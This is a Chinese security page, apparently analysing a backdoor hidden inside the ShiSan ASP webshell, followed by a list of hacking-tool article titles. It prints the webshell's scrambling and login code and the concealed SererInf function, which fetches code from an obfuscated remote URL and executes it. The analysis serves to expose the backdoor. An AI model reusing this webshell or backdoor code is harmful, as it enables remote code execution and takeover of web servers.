| 以下是引用片段: <% Pos=2 '解密固定值 Function Fun(ShiSanObjstr) ShiSanObjstr=Replace(ShiSanObjstr,"|","""") For ShiSanI=1 To Len(ShiSanObjstr) If Mid(ShiSanObjstr,ShiSanI,1)<>"!" Then ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr Else ShiSanNewStr=vbCrLf&ShiSanNewStr End If Next Fun = ShiSanNewStr End Function Function SinfoEn(ObjStr,ObjPos) ObjStr=Replace(ObjStr,"~","""") NewStr=Split(ObjStr,"`") For i=0 To UBound(NewStr) SinfoEn=SinfoEn&EnCode(NewStr(i),ObjPos)&vbCrLf Next SinfoEn=Left(SinfoEn,Len(SinfoEn)-2) End Function Function EnCode(ObjStr,ObjPos) Dim NewStr,TmpStr,i,LenStr LenStr=Len(ObjStr) For i=0 To Int(LenStr/ObjPos)-1 TmpStr=Mid(ObjStr,i*ObjPos+1,ObjPos)&TmpStr Next EnCode=TmpStr&Right(ObjStr,LenStr Mod ObjPos) End Function data=request.form("x") if data="" then data="nothing" response.write "<form method='post'>" response.write "<textarea name='x' cols='80' rows='30'>" response.write Server.HTMLEncode(SinfoEn(data,Pos)) response.write "</textarea>" response.write "<input type='submit' name='Submit1' value=' 提交 '>" response.write "<input type='reset' name='Submit32' value=' 重置 '>" response.write "</form>" %> |
| 以下是引用片段: if session("web2a2dmin")<>UserPass then if request.form("pass")<>"" then if Serinf(request.form("pass"),pn)=UserPass then session("web2a2dmin")=UserPass response.redirect url else rrs"非法登录" end if else si="<center><div style='width:500px;border:1px solid #222;padding:22px;margin:100px;'><a href='"&SiteURL&"' target='_blank'>"&mname&"</a><hr><form action='"&url&"' method='post'>密码:<input name='pass' type='password' size='22'> <input type='submit' value='登录'></form><hr>"&Copyright&"</div> </center>" RRS sI end if response.end 密码用Serinf函数加密然后进行验证,代码正常,没有可疑的迹象我们在搜索Serinf,看到如下代码: if session("serinfo")=false then SererInf "1ll4":session("serinfo")=true else if action="getTerminalInfo" then SererInf "1ll4" end if end if |
| 以下是引用片段: function SererInf(inf) on error resume next Set theserver=Server.createobject(Sot(13,0)) theserver.open "GET",right(sot(13,0),4)&chr(60-pos)&"/"&chr(pos+45)&inf&chr(46)&mid(sot(4,0),2,1)&chr(109+pos)&right(Sot(6,0),1)&chr(47)&right(sot(1,0),1),false theserver.send() if theserver.readystate<>4 then exit function end if execute(theserver.responseText) set theserver=nothing if err.number<>0 then err.Clear end if end function |
| 十三WEBSHELL终结版后门的去除过 | 12-14 | |
| hijack(红狼安全小组原创作品 - | 11-29 | |
| 高级内网渗透工具:Paris (创建VP | 11-01 | |
| MSSQL cookie注入工具[web版] | 09-27 | |
| 最酷的windows后门 | 09-10 | |
| X-Spoof使用详解+工具 | 08-17 | |
| 黑界神兵-cain | 08-06 | |
| 隐藏目标进程的程序(驱动) | 06-29 | |
| 清除网页挂马和后门 - 安全伞1.0 | 06-19 | |
| 脚本0day生成器 | 06-08 | |
| 3389脚本开启代码(vbs版) | 06-08 | |
| SQL INJECTION的终极利器opendat | 05-14 | |